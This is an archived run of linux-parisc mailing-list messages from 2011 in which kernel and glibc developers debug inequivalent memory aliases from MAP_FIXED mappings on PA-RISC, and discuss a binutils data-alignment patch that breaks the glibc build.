Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3455>

On Mon, Feb 14, 2011 at 8:58 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> Feb 14 07:48:06 mx3210 kernel: INEQUIVALENT ALIASES: page 0x4282e520 =
addr 0x411e
> 8000 in file libc-2.11.2.so with flags 0x8000071
>
> i haven't tracked down where these come from but this looks like a gl=
ibc issue.
> Note the final vm_flags value for the final map. =A0This is the inequ=
ivalent one.
> As far as I know, the GCC testsuite does not play with MAP_FIXED maps=
=2E
>
> Carlos, any thoughts on where this might come from?

Could you more clearly describe exactly what is the problem from
glibc's perspective?

The dynamic loader will do a non-fixed mapping to cover the entire
range of the PIC code needed to load into memory. This ensures it has
enough space to map segments. Then it follows up by using MAP_FIXED to
exactly map the segment from the file into memory. It also maps
remaining pages at MAP_FIXED from fd=3D-1 (zero fill).

Locale archives are also mapped in via MAP_FIXED (after a non-fixed map=
ping).

Malloc uses MAP_FIXED and PROT_NONE (inaccessible) when shrinking
internal heaps e.g. it uses MAP_FIXED to single out the pages that are
no longer accessible (in a secure glibc it uses madvise
(MADV_DONTNEED).

Malloc under some conditions may mremap with MREMAP_FIXED.

Those are the glibc instances of MAP_FIXED maps that I can find.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Improve dcache flush on PA8800/PA8900
Date: Tue, 15 Feb 2011 11:47:04 -0500
Organization: nrc.ca
Lines: 74
Approved: news@gmane.org
Message-ID: <20110215164703.GA9471@hiauly1.hia.nrc.ca>
References: <20110210170033.4317E4ED8@hiauly1.hia.nrc.ca> <20110210200044.203164E01@hiauly1.hia.nrc.ca> <20110212161846.GA24076@hiauly1.hia.nrc.ca> <20110213193934.GA28834@hiauly1.hia.nrc.ca> <20110215015852.GA6615@hiauly1.hia.nrc.ca> <AANLkTimZntmJQ5msVr56=V7P8pYGXizpVGinZYrvBsSt@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1297788435 9005 80.91.229.12 (15 Feb 2011 16:47:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 Feb 2011 16:47:15 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	James.Bottomley@hansenpartnership.com, linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 15 17:47:09 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PpO3Q-0000hF-RB
	for glpp-linux-parisc@lo.gmane.org; Tue, 15 Feb 2011 17:47:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755302Ab1BOQrH convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Feb 2011 11:47:07 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1028 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755089Ab1BOQrH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Feb 2011 11:47:07 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D1AB84EDA; Tue, 15 Feb 2011 11:47:04 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <AANLkTimZntmJQ5msVr56=V7P8pYGXizpVGinZYrvBsSt@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3456
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3456>

On Tue, 15 Feb 2011, Carlos O'Donell wrote:

> On Mon, Feb 14, 2011 at 8:58 PM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
> > Feb 14 07:48:06 mx3210 kernel: INEQUIVALENT ALIASES: page 0x4282e52=
0 addr 0x411e
> > 8000 in file libc-2.11.2.so with flags 0x8000071
> >
> > i haven't tracked down where these come from but this looks like a =
glibc issue.
> > Note the final vm_flags value for the final map. =A0This is the ine=
quivalent one.
> > As far as I know, the GCC testsuite does not play with MAP_FIXED ma=
ps.
> >
> > Carlos, any thoughts on where this might come from?
>=20
> Could you more clearly describe exactly what is the problem from
> glibc's perspective?

It's a little hard to tell since I haven't found the application
the causes the above inequivalent aliases.

=46rom a kernel perspective, we need to avoid multiple maps of the same
memory page with inequivalent virtual addresses (i.e., the maps must
start at the same address & 0x3fffff).

Inequivalent maps only result from the use of MAP_FIXED.  All
the maps with VM_READ and VM_EXEC are equivalent in this case,
so it's fairly clear that the map is for a code segment of
libc-2.11.2.so.  There is one map with just the VM_READ flag
that is not equivalent.  Because there are multiple maps to the
same memory page, the page is in effect shared.

Ideally, glibc should use equivalent aliases for all maps that
it creates when they are "shared" as above.

> The dynamic loader will do a non-fixed mapping to cover the entire
> range of the PIC code needed to load into memory. This ensures it has
> enough space to map segments. Then it follows up by using MAP_FIXED t=
o
> exactly map the segment from the file into memory. It also maps
> remaining pages at MAP_FIXED from fd=3D-1 (zero fill).

I tend to think this is the problem area.  I will try to find a
testcase.

> Locale archives are also mapped in via MAP_FIXED (after a non-fixed m=
apping).
>=20
> Malloc uses MAP_FIXED and PROT_NONE (inaccessible) when shrinking
> internal heaps e.g. it uses MAP_FIXED to single out the pages that ar=
e
> no longer accessible (in a secure glibc it uses madvise
> (MADV_DONTNEED).
>=20
> Malloc under some conditions may mremap with MREMAP_FIXED.
>=20
> Those are the glibc instances of MAP_FIXED maps that I can find.

None of these appear to involve executable maps to a file.

Dave
--=20
J. David Anglin                                  dave.anglin@nrc-cnrc.g=
c.ca
National Research Council of Canada              (613) 990-0752 (FAX: 9=
52-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Improve dcache flush on PA8800/PA8900
Date: Tue, 15 Feb 2011 10:58:10 -0600
Lines: 64
Approved: news@gmane.org
Message-ID: <1297789090.3015.31.camel@mulgrave.site>
References: <20110210170033.4317E4ED8@hiauly1.hia.nrc.ca>
	 <20110210200044.203164E01@hiauly1.hia.nrc.ca>
	 <20110212161846.GA24076@hiauly1.hia.nrc.ca>
	 <20110213193934.GA28834@hiauly1.hia.nrc.ca>
	 <20110215015852.GA6615@hiauly1.hia.nrc.ca>
	 <AANLkTimZntmJQ5msVr56=V7P8pYGXizpVGinZYrvBsSt@mail.gmail.com>
	 <20110215164703.GA9471@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1297789116 13112 80.91.229.12 (15 Feb 2011 16:58:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 Feb 2011 16:58:36 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 15 17:58:31 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PpOEP-0000kB-QV
	for glpp-linux-parisc@lo.gmane.org; Tue, 15 Feb 2011 17:58:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755110Ab1BOQ6P (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Feb 2011 11:58:15 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:39871 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755309Ab1BOQ6N (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Feb 2011 11:58:13 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id AC95E8EE0E4;
	Tue, 15 Feb 2011 08:58:12 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id xWvdQ7f8Ns1e; Tue, 15 Feb 2011 08:58:12 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 35F528EE0DF;
	Tue, 15 Feb 2011 08:58:12 -0800 (PST)
In-Reply-To: <20110215164703.GA9471@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3457
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3457>

On Tue, 2011-02-15 at 11:47 -0500, John David Anglin wrote:
> On Tue, 15 Feb 2011, Carlos O'Donell wrote:
> 
> > On Mon, Feb 14, 2011 at 8:58 PM, John David Anglin
> > <dave@hiauly1.hia.nrc.ca> wrote:
> > > Feb 14 07:48:06 mx3210 kernel: INEQUIVALENT ALIASES: page 0x4282e520 addr 0x411e
> > > 8000 in file libc-2.11.2.so with flags 0x8000071
> > >
> > > i haven't tracked down where these come from but this looks like a glibc issue.
> > > Note the final vm_flags value for the final map.  This is the inequivalent one.
> > > As far as I know, the GCC testsuite does not play with MAP_FIXED maps.
> > >
> > > Carlos, any thoughts on where this might come from?
> > 
> > Could you more clearly describe exactly what is the problem from
> > glibc's perspective?
> 
> It's a little hard to tell since I haven't found the application
> the causes the above inequivalent aliases.

There was a prink in the inequivalent alias detector that printed
task->comm (that's the process name) if you add it back it will give
more information.

> >From a kernel perspective, we need to avoid multiple maps of the same
> memory page with inequivalent virtual addresses (i.e., the maps must
> start at the same address & 0x3fffff).

If I understand what you've done: you already patched the kernel to
force MAP_FIXED onto this boundary.  If that's the case, the actual
problem must be an offset mapping; meaning something maps a region and
then maps a subregion of it.  I've got to guess this is the dynamic
loader.

> Inequivalent maps only result from the use of MAP_FIXED.  All
> the maps with VM_READ and VM_EXEC are equivalent in this case,
> so it's fairly clear that the map is for a code segment of
> libc-2.11.2.so.  There is one map with just the VM_READ flag
> that is not equivalent.  Because there are multiple maps to the
> same memory page, the page is in effect shared.
> 
> Ideally, glibc should use equivalent aliases for all maps that
> it creates when they are "shared" as above.
> 
> > The dynamic loader will do a non-fixed mapping to cover the entire
> > range of the PIC code needed to load into memory. This ensures it has
> > enough space to map segments. Then it follows up by using MAP_FIXED to
> > exactly map the segment from the file into memory. It also maps
> > remaining pages at MAP_FIXED from fd=-1 (zero fill).
> 
> I tend to think this is the problem area.  I will try to find a
> testcase.

Great, thanks!  Just getting an application (or .c file) that does this
will give us a better opportunity to analyse what the problem is.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Improve dcache flush on PA8800/PA8900
Date: Tue, 15 Feb 2011 12:09:23 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <20110215170923.994FA4E42@hiauly1.hia.nrc.ca>
References: <1297789090.3015.31.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1297789773 17339 80.91.229.12 (15 Feb 2011 17:09:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 Feb 2011 17:09:33 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 15 18:09:26 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PpOP0-00007v-3C
	for glpp-linux-parisc@lo.gmane.org; Tue, 15 Feb 2011 18:09:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752716Ab1BORJZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Feb 2011 12:09:25 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1043 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752579Ab1BORJZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Feb 2011 12:09:25 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 994FA4E42; Tue, 15 Feb 2011 12:09:23 -0500 (EST)
In-Reply-To: <1297789090.3015.31.camel@mulgrave.site> from "James Bottomley" at Feb 15, 2011 10:58:10 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3458
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3458>

> There was a prink in the inequivalent alias detector that printed
> task->comm (that's the process name) if you add it back it will give
> more information.

Will add and rerun GCC testsuite.

> > >From a kernel perspective, we need to avoid multiple maps of the same
> > memory page with inequivalent virtual addresses (i.e., the maps must
> > start at the same address & 0x3fffff).
> 
> If I understand what you've done: you already patched the kernel to
> force MAP_FIXED onto this boundary.  If that's the case, the actual
> problem must be an offset mapping; meaning something maps a region and
> then maps a subregion of it.  I've got to guess this is the dynamic
> loader.

This only occurs for MAP_FIXED and MAP_SHARED.  MAP_FIXED alone
still maps at the address specified by the application.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: binutils change break glibc build
Date: Wed, 16 Feb 2011 19:30:33 -0500
Organization: nrc.ca
Lines: 35
Approved: news@gmane.org
Message-ID: <20110217003032.GA26155@hiauly1.hia.nrc.ca>
References: <20110210170033.4317E4ED8@hiauly1.hia.nrc.ca> <20110210200044.203164E01@hiauly1.hia.nrc.ca> <20110212161846.GA24076@hiauly1.hia.nrc.ca> <20110213193934.GA28834@hiauly1.hia.nrc.ca> <20110215015852.GA6615@hiauly1.hia.nrc.ca> <AANLkTimZntmJQ5msVr56=V7P8pYGXizpVGinZYrvBsSt@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1297902647 26232 80.91.229.12 (17 Feb 2011 00:30:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Feb 2011 00:30:47 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	James.Bottomley@hansenpartnership.com, linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 17 01:30:42 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PprlY-0008Vh-QO
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Feb 2011 01:30:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752638Ab1BQAah (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Feb 2011 19:30:37 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1931 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751781Ab1BQAag (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Feb 2011 19:30:36 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 2962F4E01; Wed, 16 Feb 2011 19:30:33 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <AANLkTimZntmJQ5msVr56=V7P8pYGXizpVGinZYrvBsSt@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3459
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3459>

Hi Carlos,

I would like to apply the following binutils change to align data
segments to a page boundary.  However, it breaks building glibc.
Problem occurs in call_init trying to run constructors for new
libc.so.6.

Any thoughts?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Index: emulparams/hppalinux.sh
===================================================================
RCS file: /cvs/src/src/ld/emulparams/hppalinux.sh,v
retrieving revision 1.14
diff -u -3 -p -r1.14 hppalinux.sh
--- emulparams/hppalinux.sh	22 Oct 2008 05:20:44 -0000	1.14
+++ emulparams/hppalinux.sh	15 Feb 2011 14:30:24 -0000
@@ -8,6 +8,8 @@ NO_REL_RELOCS=yes
 TEXT_START_ADDR=0x10000
 TARGET_PAGE_SIZE=0x10000
 MAXPAGESIZE="CONSTANT (MAXPAGESIZE)"
+DATA_ADDR="ALIGN(${MAXPAGESIZE})"
+SHLIB_DATA_ADDR="ALIGN(${MAXPAGESIZE})"
 ARCH=hppa
 MACHINE=hppa1.1    # We use 1.1 specific features.
 NOP=0x08000240
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Improve dcache flush on PA8800/PA8900
Date: Wed, 16 Feb 2011 19:37:14 -0500
Organization: nrc.ca
Lines: 22
Approved: news@gmane.org
Message-ID: <20110217003713.GB26155@hiauly1.hia.nrc.ca>
References: <20110210170033.4317E4ED8@hiauly1.hia.nrc.ca> <20110210200044.203164E01@hiauly1.hia.nrc.ca> <20110212161846.GA24076@hiauly1.hia.nrc.ca> <20110213193934.GA28834@hiauly1.hia.nrc.ca> <20110215015852.GA6615@hiauly1.hia.nrc.ca> <AANLkTimZntmJQ5msVr56=V7P8pYGXizpVGinZYrvBsSt@mail.gmail.com> <20110215164703.GA9471@hiauly1.hia.nrc.ca> <1297789090.3015.31.camel@mulgrave.site>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1297903048 27770 80.91.229.12 (17 Feb 2011 00:37:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Feb 2011 00:37:28 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 17 01:37:19 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pprry-0003rx-Jp
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Feb 2011 01:37:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751808Ab1BQAhR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Feb 2011 19:37:17 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1938 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751374Ab1BQAhR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Feb 2011 19:37:17 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 8E7974E01; Wed, 16 Feb 2011 19:37:15 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <1297789090.3015.31.camel@mulgrave.site>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3460
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3460>

On Tue, 15 Feb 2011, James Bottomley wrote:

> > I tend to think this is the problem area.  I will try to find a
> > testcase.
> 
> Great, thanks!  Just getting an application (or .c file) that does this
> will give us a better opportunity to analyse what the problem is.

I have found a testcase.  Unfortunately, it's almost impossible to debug.
It a GCC guality test.  These tests launch gdb and then have gdb print
debug info at various breakpoints.  If run with strace, this prevents
gdb from attaching and the inequivalent alias state doesn't occur ;(

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: binutils change break glibc build
Date: Wed, 16 Feb 2011 20:09:12 -0500
Organization: nrc.ca
Lines: 26
Approved: news@gmane.org
Message-ID: <20110217010912.GA26425@hiauly1.hia.nrc.ca>
References: <20110210170033.4317E4ED8@hiauly1.hia.nrc.ca> <20110210200044.203164E01@hiauly1.hia.nrc.ca> <20110212161846.GA24076@hiauly1.hia.nrc.ca> <20110213193934.GA28834@hiauly1.hia.nrc.ca> <20110215015852.GA6615@hiauly1.hia.nrc.ca> <AANLkTimZntmJQ5msVr56=V7P8pYGXizpVGinZYrvBsSt@mail.gmail.com> <20110217003032.GA26155@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1297904962 3053 80.91.229.12 (17 Feb 2011 01:09:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Feb 2011 01:09:22 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	James.Bottomley@hansenpartnership.com, linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 17 02:09:18 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PpsMv-00047X-G4
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Feb 2011 02:09:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752662Ab1BQBJQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Feb 2011 20:09:16 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1956 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751712Ab1BQBJQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Feb 2011 20:09:16 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id DA5554E01; Wed, 16 Feb 2011 20:09:13 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20110217003032.GA26155@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3461
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3461>

On Wed, 16 Feb 2011, John David Anglin wrote:

> Hi Carlos,
> 
> I would like to apply the following binutils change to align data
> segments to a page boundary.  However, it breaks building glibc.
> Problem occurs in call_init trying to run constructors for new
> libc.so.6.

It's probably not a glibc issue:

/home2/dave/debian/glibc/eglibc-2.11.2/build-tree/hppa-libc/libc.so.6:     file 
format elf32-hppa-linux

Contents of section .init_array:
 159008 ffffffff 0015bee2 00000000           ............    

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: binutils change break glibc build
Date: Wed, 16 Feb 2011 20:17:11 -0500 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <20110217011712.4B48651C3@hiauly1.hia.nrc.ca>
References: <20110217010912.GA26425@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1297905441 4997 80.91.229.12 (17 Feb 2011 01:17:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Feb 2011 01:17:21 +0000 (UTC)
Cc: carlos@systemhalted.org, James.Bottomley@hansenpartnership.com,
	linux-parisc@vger.kernel.org
To: dave.anglin@nrc-cnrc.gc.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 17 02:17:15 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
